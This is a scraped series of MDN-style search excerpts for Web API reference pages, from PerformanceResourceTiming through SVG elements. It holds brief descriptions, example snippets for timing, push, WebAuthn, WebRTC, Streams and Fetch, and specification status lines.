PerformanceResourceTiming.responseEnd - Web APIs
" + properties[i] + " = not supported"); } } } specifications specification status comment resource timing level 1the definition of 'responseend' in that specification.
... candidate recommendation initial definition.
PerformanceResourceTiming.secureConnectionStart - Web APIs
" + properties[i] + " = not supported"); } } } specifications specification status comment resource timing level 1the definition of 'secureconnectionstart' in that specification.
... candidate recommendation initial definition.
PerformanceResourceTiming.transferSize - Web APIs
if the resource is fetched from a local cache, or if it is a cross-origin resource, this property returns zero.
... = not supported"); if ("transfersize" in perfentry) console.log("transfersize = " + perfentry.transfersize); else console.log("transfersize = not supported"); } function check_performanceentries() { // use getentriesbytype() to just get the "resource" events var p = performance.getentriesbytype("resource"); for (var i=0; i < p.length; i++) { log_sizes(p[i]); } } specifications specification status comment resource timing level 2the definition of 'transfersize' in that specification.
PerformanceTiming.connectStart - Web APIs
this interface of this property is deprecated in the navigation timing level 2 specification.
... syntax time = performancetiming.connectstart; specifications specification status comment navigation timingthe definition of 'performancetiming.connectstart' in that specification.
PerformanceTiming.domComplete - Web APIs
this interface of this property is deprecated in the navigation timing level 2 specification.
... syntax time = performancetiming.domcomplete; specifications specification status comment navigation timingthe definition of 'performancetiming.domcomplete' in that specification.
PerformanceTiming.domContentLoadedEventEnd - Web APIs
this interface of this property is deprecated in the navigation timing level 2 specification.
... syntax time = performancetiming.domcontentloadedeventend; specifications specification status comment navigation timingthe definition of 'performancetiming.domcontentloadedeventend' in that specification.
PerformanceTiming.domContentLoadedEventStart - Web APIs
this interface of this property is deprecated in the navigation timing level 2 specification.
... syntax time = performancetiming.domcontentloadedeventstart; specifications specification status comment navigation timingthe definition of 'performancetiming.domcontentloadedeventstart' in that specification.
PerformanceTiming.domLoading - Web APIs
this interface of this property is deprecated in the navigation timing level 2 specification.
... syntax time = performancetiming.domloading; specifications specification status comment navigation timingthe definition of 'performancetiming.domloading' in that specification.
PerformanceTiming.loadEventEnd - Web APIs
this interface of this property is deprecated in the navigation timing level 2 specification.
... syntax time = performancetiming.loadeventend; specifications specification status comment navigation timingthe definition of 'performancetiming.loadeventend' in that specification.
PerformanceTiming.loadEventStart - Web APIs
this interface of this property is deprecated in the navigation timing level 2 specification.
... syntax time = performancetiming.loadeventstart; specifications specification status comment navigation timingthe definition of 'performancetiming.loadeventstart' in that specification.
PerformanceTiming.navigationStart - Web APIs
this interface of this property is deprecated in the navigation timing level 2 specification.
... syntax time = performancetiming.navigationstart; specifications specification status comment navigation timingthe definition of 'performancetiming.navigationstart' in that specification.
PerformanceTiming.redirectEnd - Web APIs
this interface of this property is deprecated in the navigation timing level 2 specification.
... syntax time = performancetiming.redirectend; specifications specification status comment navigation timingthe definition of 'performancetiming.redirectend' in that specification.
PerformanceTiming.redirectStart - Web APIs
this interface of this property is deprecated in the navigation timing level 2 specification.
... syntax time = performancetiming.redirectstart; specifications specification status comment navigation timingthe definition of 'performancetiming.redirectstart' in that specification.
PerformanceTiming.secureConnectionStart - Web APIs
this interface of this property is deprecated in the navigation timing level 2 specification.
... syntax time = performancetiming.secureconnectionstart; specifications specification status comment navigation timingthe definition of 'performancetiming.secureconnectionstart' in that specification.
PerformanceTiming.unloadEventEnd - Web APIs
this interface of this property is deprecated in the navigation timing level 2 specification.
... syntax time = performancetiming.unloadeventend; specifications specification status comment navigation timingthe definition of 'performancetiming.unloadeventend' in that specification.
PerformanceTiming.unloadEventStart - Web APIs
this interface of this property is deprecated in the navigation timing level 2 specification.
... syntax time = performancetiming.unloadeventstart; specifications specification status comment navigation timingthe definition of 'performancetiming.unloadeventstart' in that specification.
PermissionStatus.onchange - Web APIs
the onchange event handler of the permissionstatus interface is called whenever the permissionstatus.state property changes.
...}) example navigator.permissions.query({name:'geolocation'}).then(function(permissionstatus) { console.log('geolocation permission state is ', permissionstatus.state); permissionstatus.onchange = function() { console.log('geolocation permission state has changed to ', this.state); }; }); specification specification status comment permissionsthe definition of 'onchange' in that specification.
PointerEvent.pointerId - Web APIs
let id; // let's assume that this is a previously saved pointerid target.addeventlistener('pointerdown', function(event) { // compare previous event's id that was cached // to current event's id and handle accordingly if (id === event.pointerid) process_event(event); }, false); specifications specification status comment pointer events – level 2the definition of 'pointerid' in that specification.
... pointer eventsthe definition of 'pointerid' in that specification.
PointerEvent.tangentialPressure - Web APIs
example in this snippet, when a pointerdown event is fired, different functions are called depending on the value of the event's tangentialpressure property.
... someelement.addeventlistener('pointerdown', function(event) { if (event.tangentialpressure == 0) { // no pressure process_no_tanpressure(event); } else if (event.tangentialpressure == 1) { // maximum pressure process_max_tanpressure(event); } else { // default process_tanpressure(event); } }, false); specifications specification status comment pointer events – level 2the definition of 'tangentialpressure' in that specification.
PointerEvent.twist - Web APIs
example when a pointerdown event is fired, different functions are called depending on the value of the event's twist property.
... someelement.addeventlistener('pointerdown', function(event) { if (event.twist == 0) { // no twist process_no_twist(event); } else { // default process_twist(event); } }, false); specifications specification status comment pointer events – level 2the definition of 'twist' in that specification.
ProgressEvent.loaded - Web APIs
the ratio of work done can be calculated with the property and progressevent.total.
... syntax value = progressevent.loaded specifications specification status comment xmlhttprequestthe definition of 'progressevent.loaded' in that specification.
PromiseRejectionEvent.reason - Web APIs
syntax reason = promiserejectionevent.reason value a value or object which provides information you can use to understand why the promise was rejected.
... examples window.onunhandledrejection = function(e) { console.log(e.reason); } specifications specification status comment html living standardthe definition of 'promiserejectionevent.reason' in that specification.
PublicKeyCredential.id - Web APIs
splayname: "john doe", }, pubkeycredparams: [ { type: "public-key", alg: -7 } ] }; navigator.credentials.create({ publickey }) .then(function (newcredentialinfo) { var id = newcredentialinfo.id; // do something with the id // send attestation response and client extensions // to the server to proceed with the registration // of the credential }).catch(function (err) { console.error(err); }); specifications specification status comment web authentication: an api for accessing public key credentials level 1the definition of 'id' in that specification.
... credential management level 1the definition of 'id' in that specification.
PublicKeyCredential.rawId - Web APIs
this identifier is expected to be globally unique and is appointed for the current publickeycredential and its associated authenticatorassertionresponse.
...ample.com" }, user: { id: new uint8array(26), /* to be changed for each user */ name: "jdoe@example.com", displayname: "john doe", }, pubkeycredparams: [ { type: "public-key", alg: -7 } ] }; navigator.credentials.create({ publickey: options }) .then(function (pubkeycredential) { var rawid = pubkeycredential.rawid; // do something with rawid }).catch(function (err) { // deal with any error }); specifications specification status comment web authentication: an api for accessing public key credentials level 1the definition of 'rawid' in that specification.
PublicKeyCredentialCreationOptions.pubKeyCredParams - Web APIs
-7 indicates the elliptic curve algorithm ecdsa with sha-256).
...p", id : "login.example.com" }, user: { id: new uint8array(26), /* to be changed for each user */ name: "jdoe@example.com", displayname: "john doe", } }; navigator.credentials.create({ publickey }) .then(function (newcredentialinfo) { // send attestation response and client extensions // to the server to proceed with the registration // of the credential }).catch(function (err) { console.error(err); }); specifications specification status comment web authentication: an api for accessing public key credentials level 1the definition of 'pubkeycredparams' in that specification.
PublicKeyCredentialCreationOptions.rp - Web APIs
syntax relyingpartyobj = publickeycredentialcreationoptions.rp properties icon optional an url as a usvstring value which points to an image resource which can be the logo/icon of the relying party.
...r: { id: new uint8array(16), name: "jdoe@example.com", displayname: "john doe" }, pubkeycredparams: [ { type: "public-key", alg: -7 } ] }; navigator.credentials.create({ publickey }) .then(function (newcredentialinfo) { // send attestation response and client extensions // to the server to proceed with the registration // of the credential }).catch(function (err) { console.error(err); }); specifications specification status comment web authentication: an api for accessing public key credentials level 1the definition of 'rp' in that specification.
PublicKeyCredentialCreationOptions.timeout - Web APIs
syntax timeout = publickeycredentialcreationoptions.timeout value a numerical hint, expressed in milliseconds, giving the time to wait for the creation operation to complete.
... to be changed for each user */ name: "jdoe@example.com", displayname: "john doe", }, pubkeycredparams: [ { type: "public-key", alg: -7 } ] }; navigator.credentials.create({ publickey }) .then(function (newcredentialinfo) { // send attestation response and client extensions // to the server to proceed with the registration // of the credential }).catch(function (err) { console.error(err); }); specifications specification status comment web authentication: an api for accessing public key credentials level 1the definition of 'timeout' in that specification.
PublicKeyCredentialRequestOptions.timeout - Web APIs
syntax timeout = publickeycredentialrequestoptions.timeout value a numerical hint, expressed in milliseconds, giving the time to wait for the creation operation to complete.
...ptions = { challenge: new uint8array([/* bytes sent from the server */]), timeout: 6000 // wait a minute for the fetching operation // and maybe fail if it takes longer }; navigator.credentials.get({ "publickey": options }) .then(function (credentialinfoassertion) { // send assertion response back to the server // to proceed with the control of the credential }).catch(function (err) { console.error(err); }); specifications specification status comment web authentication: an api for accessing public key credentials level 1the definition of 'timeout' in that specification.
PushEvent.data - Web APIs
WebAPIPushEventdata
self.addeventlistener('push', function(event) { if (!(self.notification && self.notification.permission === 'granted')) { return; } var data = {}; if (event.data) { data = event.data.json(); } var title = data.title || "something has happened"; var message = data.message || "here's something you might want to check out."; var icon = "images/new-notification.png"; var notification = new notification(title, { body: message, tag: 's...
...imple-push-demo-notification', icon: icon }); notification.addeventlistener('click', function() { if (clients.openwindow) { clients.openwindow('https://example.blog.com/2015/03/04/something-new.html'); } }); }); specifications specification status comment push apithe definition of 'data' in that specification.
PushManager.getSubscription() - Web APIs
example this code snippet is taken from a push messaging and notification sample.
...allow the user to enable push return; } // keep your server in sync with the latest subscriptionid sendsubscriptiontoserver(subscription); showcurlcommand(subscription); // set your ui to show they have subscribed for // push messages pushbutton.textcontent = 'disable push messages'; ispushenabled = true; }) .catch(function(err) { window.demo.debug.log('error during getsubscription()', err); }); }); specifications specification status comment push apithe definition of 'getsubscription()' in that specification.
PushManager.supportedContentEncodings - Web APIs
the supportedcontentencodings read-only property of the pushmanager interface returns an array of supported content codings that can be used to encrypt the payload of a push message.
... specifications specification status comment push apithe definition of 'supportedcontentencodings' in that specification.
PushMessageData.json() - Web APIs
this could be anything that can be represented by json — an object, an array, a string, a number...
... examples self.addeventlistener('push', function(event) { var mydata = event.data.json(); // do something with your data }); specifications specification status comment push apithe definition of 'json()' in that specification.
PushSubscription.endpoint - Web APIs
the endpoint takes the form of a custom url pointing to a push server, which can be used to send a push message to the particular service worker instance that subscribed to the push service.
... example navigator.serviceworker.ready.then(function(reg) { reg.pushmanager.subscribe({uservisibleonly: true}).then(function(subscription) { console.log(subscription.endpoint); // at this point you would most likely send the subscription // endpoint to your server, save it, then use it to send a // push message at a later date }) }) specifications specification status comment push apithe definition of 'endpoint' in that specification.
RTCDTMFToneChangeEvent.tone - Web APIs
dtmfsender.ontonechange = function( ev ) { let tone = ev.tone; if (tone === "") { tone = "&lt;none&gt;" } document.getelementbyid("playingtone").innertext = tone; }; specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtcdtmftonechangeevent.tone' in that specification.
... candidate recommendation initial specification.
RTCDataChannel.protocol - Web APIs
example var pc = new rtcpeerconnection(); var dc = pc.createdatachannel("my channel", { protocol: "json" }); function handlechannelmessage(datachannel, msg) { switch(datachannel.protocol) { case "json": /* process json data */ break; case "raw": /* process raw binary data */ break; } } specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtcdatachannel.protocol' in that specification.
... candidate recommendation initial specification.
RTCDataChannel.reliable - Web APIs
the read-only rtcdatachannel property reliable indicates whether or not the data channel is reliable.
... example // tbd specifications no longer part of any specification.
RTCDataChannelEvent - Web APIs
specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtcdatachannelevent' in that specification.
... candidate recommendation initial definition.
RTCDtlsTransport.iceTransport - Web APIs
examples tbd specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtcdtlstransport.icetransport' in that specification.
... candidate recommendation initial definition.
RTCIceParameters.password - Web APIs
syntax password = rtciceparameters.password; value a domstring containing the password that corresponds to the transport's usernamefragment string specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtciceparameters.password' in that specification.
... candidate recommendation initial specification.
RTCIceServer.url - Web APIs
WebAPIRTCIceServerurl
it was removed from the specification in june 2013 but is still broadly used in older examples and books, so we include documentation here to help adapt old code to new browsers.
... this property has been removed from the specification; while it's still supported by many browsers, it should no longer be used.
RTCIdentityErrorEvent - Web APIs
rtcidentityerrorevent.loginurl read only is a domstring giving the url where the user can complete the authentication.
... it can be null and is provided by the identity provider (idp).
RTCInboundRtpStreamStats.perDscpPacketsReceived - Web APIs
specifications specification status comment identifiers for webrtc's statistics apithe definition of 'rtcinboundrtpstreamstats.perdscppacketsreceived' in that specification.
... candidate recommendation initial definition.
RTCOutboundRtpStreamStats.perDscpPacketsSent - Web APIs
specifications specification status comment identifiers for webrtc's statistics apithe definition of 'rtcoutboundrtpstreamstats.perdscppacketssent' in that specification.
... candidate recommendation initial definition.
RTCPeerConnection.addTransceiver() - Web APIs
specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtcpeerconnection.addtransceiver()' in that specification.
... candidate recommendation ...
RTCPeerConnection.getDefaultIceServers() - Web APIs
the getdefaulticeservers() method of the rtcpeerconnection interface returns an array of objects based on the rtciceserver dictionary, which indicates what, if any, ice servers the browser will use by default if none are provided to the rtcpeerconnection in its rtcconfiguration.
... example var pc = new rtcpeerconnection(); var iceservers = pc.getdefaulticeservers(); if (iceservers.length === 0) { // deal with the lack of default ice servers, possibly by using our own defaults } specifications specification status comment webrtc extensions ...
RTCPeerConnection.getTransceivers() - Web APIs
pc.gettransceivers().foreach(transceiver => { transceiver.stop(); }); specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtcpeerconnection.gettransceivers()' in that specification.
... candidate recommendation ...
RTCPeerConnection.pendingRemoteDescription - Web APIs
} else { // no description change pending } specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtcpeerconnection.pendingremotedescription' in that specification.
... candidate recommendation initial specification.
RTCPeerConnection.removeStream() - Web APIs
the rtcpeerconnection.removestream() method removes a mediastream as a local source of audio or video.
...because this method has been deprecated, you should instead use removetrack() if your target browser versions have implemented it.
RTCPeerConnection.sctp - Web APIs
example var pc = new rtcpeerconnection(); var channel = pc.createdatachannel("mydata"); channel.onopen = function(event) { channel.send('sending a message'); } channel.onmessage = function(event) { console.log(event.data); } // determine the largest message size that can be sent var sctp = pc.sctp; var maxmessagesize = sctp.maxmessagesize; specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtcpeerconnection.sctp' in that specification.
... candidate recommendation initial specification.
RTCRtpReceiver.getContributingSources() - Web APIs
specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'getcontributingsources()' in that specification.
... candidate recommendation initial definition.
RTCRtpReceiver.track - Web APIs
specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'track' in that specification.
... candidate recommendation initial definition.
RTCRtpSender.getStats() - Web APIs
sender.getstats().then(function(stats) { document.getelementbyid("currentrtt").innertext = stats.roundtriptime; }); specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtcrtpsender.getstats()' in that specification.
... candidate recommendation initial specification.
RTCRtpStreamStats.codecId - Web APIs
specifications specification status comment identifiers for webrtc's statistics apithe definition of 'rtcrtpstreamstats.codecid' in that specification.
... candidate recommendation initial definition.
RTCRtpStreamStats.trackId - Web APIs
specifications specification status comment identifiers for webrtc's statistics apithe definition of 'rtcrtpstreamstats.trackid' in that specification.
... candidate recommendation initial definition.
RTCRtpStreamStats.transportId - Web APIs
specifications specification status comment identifiers for webrtc's statistics apithe definition of 'rtcrtpstreamstats.transportid' in that specification.
... candidate recommendation initial definition.
RTCRtpTransceiverDirection - Web APIs
specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtcrtptransceiverdirection' in that specification.
... candidate recommendation ...
RTCSessionDescription.sdp - Web APIs
essage like this one: v=0 o=alice 2890844526 2890844526 in ip4 host.anywhere.com s= c=in ip4 host.anywhere.com t=0 0 m=audio 49170 rtp/avp 0 a=rtpmap:0 pcmu/8000 m=video 51372 rtp/avp 31 a=rtpmap:31 h261/90000 m=video 53000 rtp/avp 32 a=rtpmap:32 mpv/90000 example // the remote description has been set previously on pc, an rtcpeerconnection alert(pc.remotedescription.sdp); specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtcsessiondescription.sdp' in that specification.
... candidate recommendation initial specification.
RTCSessionDescription.type - Web APIs
example // the remote description has been set previously on pc, a rtcpeerconnection alert(pc.remotedescription.type); specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtcsessiondescription.type' in that specification.
... candidate recommendation initial specification.
RTCTrackEvent() - Web APIs
specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtctrackevent()' in that specification.
... candidate recommendation initial specification.
RTCTrackEvent.streams - Web APIs
specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtctrackevent.streams' in that specification.
... candidate recommendation initial specification.
RTCTrackEventInit.receiver - Web APIs
specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtctrackeventinit.receiver' in that specification.
... candidate recommendation initial specification.
RTCTrackEventInit.streams - Web APIs
specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtctrackeventinit.streams' in that specification.
... candidate recommendation initial specification.
RTCTrackEventInit.track - Web APIs
specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtctrackeventinit.track' in that specification.
... candidate recommendation initial specification.
RTCTrackEventInit - Web APIs
specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtctrackeventinit' in that specification.
... candidate recommendation initial specification.
RadioNodeList - Web APIs
<div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 11.666666666666666%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 70" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/nodelist" target="_top"><rect x="1" y="1" width="80" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="41" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">nodelist</text></a><polyline points="81,25 91,20 91,30 81,25" stroke="#d4dde4" fill="n...
... specifications specification status comments html living standardthe definition of 'radionodelist' in that specification.
Range.comparePoint() - Web APIs
example range = document.createrange(); range.selectnode(document.getelementsbytagname('div').item(0)); returnvalue = range.comparepoint(document.getelementsbytagname('p').item(0), 1); specification specification status comment domthe definition of 'range.comparepoint()' in that specification.
... living standard initial specification.
Range.getBoundingClientRect() - Web APIs
ame('b').item(0), 0); range.setendafter(document.getelementsbytagname('b').item(1), 0); const clientrect = range.getboundingclientrect(); const highlight = document.getelementbyid('highlight'); highlight.style.left = `${clientrect.x}px`; highlight.style.top = `${clientrect.y}px`; highlight.style.width = `${clientrect.width}px`; highlight.style.height = `${clientrect.height}px`; result specification specification status comment css object model (cssom) view modulethe definition of 'range.getboundingclientrect()' in that specification.
... working draft initial specification.
Range.insertNode() - Web APIs
WebAPIRangeinsertNode
example range = document.createrange(); newnode = document.createelement("p"); newnode.appendchild(document.createtextnode("new node inserted here")); range.selectnode(document.getelementsbytagname("div").item(0)); range.insertnode(newnode); specifications specification status comment domthe definition of 'range.insertnode()' in that specification.
... living standard no change document object model (dom) level 2 traversal and range specificationthe definition of 'range.insertnode()' in that specification.
Range.intersectsNode() - Web APIs
the range.intersectsnode() method returns a boolean indicating whether the given node intersects the range.
... example var range = document.createrange(); range.selectnode(document.getelementsbytagname("div").item(0)); var bool = range.intersectsnode(document.getelementsbytagname("p").item(0)); specification specification status comment domthe definition of 'range.intersectnode()' in that specification.
Range.isPointInRange() - Web APIs
the range.ispointinrange() method returns a boolean indicating whether the given point is in the range.
... example range = document.createrange(); range.selectnode(document.getelementsbytagname("div").item(0)); bool = range.ispointinrange(document.getelementsbytagname("p").item(0),1); specification specification status comment domthe definition of 'range.ispointinrange()' in that specification.
ReadableByteStreamController.desiredSize - Web APIs
note that this can be negative if the queue is over-full.
... specifications specification status comment streamsthe definition of 'desiredsize' in that specification.
ReadableByteStreamController.enqueue() - Web APIs
exceptions typeerror the source object is not a readablebytestreamcontroller, or the stream cannot be read for some other reason, or the chunk is not an object, or the chunk's internal array buffer is non-existant or detached.
... specifications specification status comment streamsthe definition of 'enqueue()' in that specification.
ReadableByteStreamController.error() - Web APIs
the error() method of the readablebytestreamcontroller interface causes any future interactions with the associated stream to error.
... specifications specification status comment streamsthe definition of 'error()' in that specification.
ReadableStream.locked - Web APIs
syntax var locked = readablestream.locked; value a boolean indicating whether or not the readable stream is locked.
...}); const reader = stream.getreader(); stream.locked // should return true, as the stream has been locked to a reader specifications specification status comment streamsthe definition of 'locked' in that specification.
ReadableStreamBYOBReader.releaseLock() - Web APIs
a reader’s lock cannot be released while it still has a pending read request, i.e., if a promise returned by the reader’s readablestreambyobreader.read() method has not finished.
... specifications specification status comment streamsthe definition of 'releaselock()' in that specification.
ReadableStreamBYOBRequest.view - Web APIs
syntax var view = readablestreambyobrequestinstance.view; value a typed array representing the destination region to which the controller can write generated data.
... specifications specification status comment streamsthe definition of 'view' in that specification.
ReadableStreamDefaultController.desiredSize - Web APIs
note that this can be negative if the queue is over-full.
... specifications specification status comment streamsthe definition of 'desiredsize' in that specification.
ReadableStreamDefaultController.enqueue() - Web APIs
a cancel() function is also provided to stop the generation if readablestream.cancel() is called for any reason.
...e(string); // show it on the screen let listitem = document.createelement('li'); listitem.textcontent = string; list1.appendchild(listitem); }, 1000); button.addeventlistener('click', function() { clearinterval(interval); fetchstream(); controller.close(); }) }, pull(controller) { // we don't really need a pull in this example }, cancel() { // this is called if the reader cancels, // so we should stop generating strings clearinterval(interval); } }); specifications specification status comment streamsthe definition of 'enqueue()' in that specification.
ReadableStreamDefaultReader.releaseLock() - Web APIs
a reader’s lock cannot be released while it still has a pending read request, i.e., if a promise returned by the reader’s readablestreamdefaultreader.read() method has not finished.
...} specifications specification status comment streamsthe definition of 'releaselock()' in that specification.
Report.url - Web APIs
WebAPIReporturl
examples let options = { types: ['deprecation'], buffered: true } let observer = new reportingobserver(function(reports, observer) { let firstreport = reports[0]; // log the url of the document that generated the first report // e.g.
... "https://www.example.com/cats.html" console.log(firstreport.url); }, options); specifications specification status comment reporting apithe definition of 'report.url' in that specification.
ReportingObserver.takeRecords() - Web APIs
examples let options = { types: ['deprecation'], buffered: true } let observer = new reportingobserver(function(reports, observer) { reportbtn.onclick = () => displayreports(reports); }, options); observer.observe() // ...
... let records = observer.takerecords(); console.log(records); specifications specification status comment reporting apithe definition of 'reportingobserver.takerecords()' in that specification.
ReportingObserverOptions - Web APIs
available types include deprecation, intervention, and crash.
... examples let options = { types: ['deprecation'], buffered: true } let observer = new reportingobserver(function(reports, observer) { reportbtn.onclick = () => displayreports(reports); }, options); specifications specification status comment reporting apithe definition of 'reportingobserveroptions' in that specification.
Request.clone() - Web APIs
WebAPIRequestclone
return value a request object, which is an exact copy of the request that clone() was called on.
... var myrequest = new request('flowers.jpg'); var newrequest = myrequest.clone(); // a copy of the request is now stored in newrequest specifications specification status comment fetchthe definition of 'clone' in that specification.
Request.method - Web APIs
WebAPIRequestmethod
the method read-only property of the request interface contains the request's method (get, post, etc.) syntax var mymethod = request.method; value a bytestring indicating the method of the request.
... example in the following snippet, we create a new request using the request.request() constructor (for an image file in the same directory as the script), then save the method of the request in a variable: var myrequest = new request('flowers.jpg'); var mymethod = myrequest.method; // get specifications specification status comment fetchthe definition of 'method' in that specification.
Request.redirect - Web APIs
WebAPIRequestredirect
syntax var myredirect = request.redirect; value a requestredirect enum value, which can be one the following strings: follow error manual if not specified when the request is created, it takes the default value of follow.
... example in the following snippet, we create a new request using the request.request() constructor (for an image file in the same directory as the script), then save the request redirect value in a variable: var myrequest = new request('flowers.jpg'); var mycred = myrequest.redirect; specifications specification status comment fetchthe definition of 'redirect' in that specification.
Request.url - Web APIs
WebAPIRequesturl
syntax var myurl = request.url; value a usvstring indicating the url of the request.
... example in the following snippet, we create a new request using the request.request() constructor (for an image file in the same directory as the script), then save the url of the request in a variable: var myrequest = new request('flowers.jpg'); var myurl = myrequest.url; // "http://mdn.github.io/fetch-examples/fetch-request/flowers.jpg" specifications specification status comment fetchthe definition of 'url' in that specification.
ResizeObserver.observe() - Web APIs
currently this only has one possible option that can be set: box sets which box model the observer will observe changes to.
...style.fontsize = math.max(1.5, entry.contentboxsize.inlinesize/200) + 'rem'; pelem.style.fontsize = math.max(1, entry.contentboxsize.inlinesize/600) + 'rem'; } else { h1elem.style.fontsize = math.max(1.5, entry.contentrect.width/200) + 'rem'; pelem.style.fontsize = math.max(1, entry.contentrect.width/600) + 'rem'; } } }); resizeobserver.observe(divelem); an observe() call with an options object would look like so: resizeobserver.observe(divelem, { box : 'border-box' }); specifications specification status comment resize observerthe definition of 'observe()' in that specification.
Response() - Web APIs
WebAPIResponseResponse
this can be null (which is the default value), or one of: blob buffersource formdata readablestream urlsearchparams usvstring init optional an options object containing any custom settings that you want to apply to the response, or an empty object (which is the default value).
... examples in our fetch response example (see fetch response live) we create a new response object using the constructor, passing it a new blob as a body, and an init object containing a custom status and statustext: var myblob = new blob(); var init = { "status" : 200 , "statustext" : "supersmashinggreat!" }; var myresponse = new response(myblob,init); specifications specification status comment fetchthe definition of 'response()' in that specification.
RsaOaepParams - Web APIs
unless your application calls for a label, you can just omit this argument and it will not affect the security of the encryption operation.
... specifications specification status comment web cryptography apithe definition of 'subtlecrypto.rsaoaepparams' in that specification.
RsaPssParams - Web APIs
rfc 3447 says that "typical salt lengths" are either 0 or the length of the output of the digest algorithm that was selected when this key was generated.
... specifications specification status comment web cryptography apithe definition of 'subtlecrypto.rsapssparams' in that specification.
SVGAnimateColorElement - Web APIs
<div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 23.333333333333332%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 140" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/svganimatecolorelement" target="_top"><rect x="1" y="1" width="220" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="111" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">svganimatecolorelement</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events...
... specifications specification status comment scalable vector graphics (svg) 1.1 (second edition)the definition of 'svganimatecolorelement' in that specification.
SVGAnimatedString - Web APIs
the svganimatedstring interface represents string attributes which can be animated from each svg declaration.
... specifications specification status comment scalable vector graphics (svg) 1.1 (second edition) recommendation scalable vector graphics (svg) 2 candidate recommendation browser compatibility the compatibility table on this page is generated from structured data.
cx - Web APIs
example svg <svg xmlns="http://www.w3.org/2000/svg" viewbox="0 0 100 100" width="200" height="200"> <circle cx="50" cy="50" r="50" fill="gold" id="circle"/> </svg> javascript const circle = document.getelementbyid('circle'); console.log(circle.cx); specifications specification status comment scalable vector graphics (svg) 2the definition of 'svgcircleelement.cx' in that specification.
... candidate recommendation no change scalable vector graphics (svg) 1.1 (second edition)the definition of 'svgcircleelement.cx' in that specification.
cy - Web APIs
example svg <svg xmlns="http://www.w3.org/2000/svg" viewbox="0 0 100 100" width="200" height="200"> <circle cy="50" cy="50" r="50" fill="gold" id="circle"/> </svg> javascript const circle = document.getelementbyid('circle'); console.log(circle.cy); specifications specification status comment scalable vector graphics (svg) 2the definition of 'svgcircleelement.cy' in that specification.
... candidate recommendation no change scalable vector graphics (svg) 1.1 (second edition)the definition of 'svgcircleelement.cy' in that specification.
r - Web APIs
example svg <svg xmlns="http://www.w3.org/2000/svg" viewbox="0 0 100 100" width="200" height="200"> <circle r="50" r="50" r="50" fill="gold" id="circle"/> </svg> javascript const circle = document.getelementbyid('circle'); console.log(circle.r); specifications specification status comment scalable vector graphics (svg) 2the definition of 'svgcircleelement.r' in that specification.
... candidate recommendation no change scalable vector graphics (svg) 1.1 (second edition)the definition of 'svgcircleelement.r' in that specification.
SVGColorProfileElement - Web APIs
properties svgcolorprofileelement.local a domstring corresponding to the local attribute of the given element.
... specifications specification status comment scalable vector graphics (svg) 1.1 (second edition)the definition of 'svgcolorprofileelement' in that specification.
SVGCursorElement - Web APIs
<div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 23.333333333333332%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 140" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 1...
... specifications specification status comment scalable vector graphics (svg) 1.1 (second edition)the definition of 'svgcursorelement' in that specification.
SVGElement: abort event - Web APIs
this basically implements the standard abort dom event.
... bubbles no cancelable no interface svgevent event handler property onabort examples svgelem.addeventlistener('abort', () => { console.log('load aborted.'); }) specifications not really described anywhere specifically, but mentioned in the svg 2 spec.
SVGElement: unload event - Web APIs
bubbles no cancelable no interface svgevent event handler property onunload examples svgelem.addeventlistener('unload', () => { console.log('svg unloaded.'); }) specifications specification status comment scalable vector graphics (svg) 2the definition of 'unload' in that specification.
... candidate recommendation initial definition ...
SVGElement: zoom event - Web APIs
the zoom event occurs when the user initiates an action which causes the current view of the svg document fragment to be rescaled.
... bubbles yes cancelable no interface svgevent event handler property onzoom examples svgelem.addeventlistener('zoom', () => { console.log('svg zoomed.'); }) ...
SVGFontElement - Web APIs
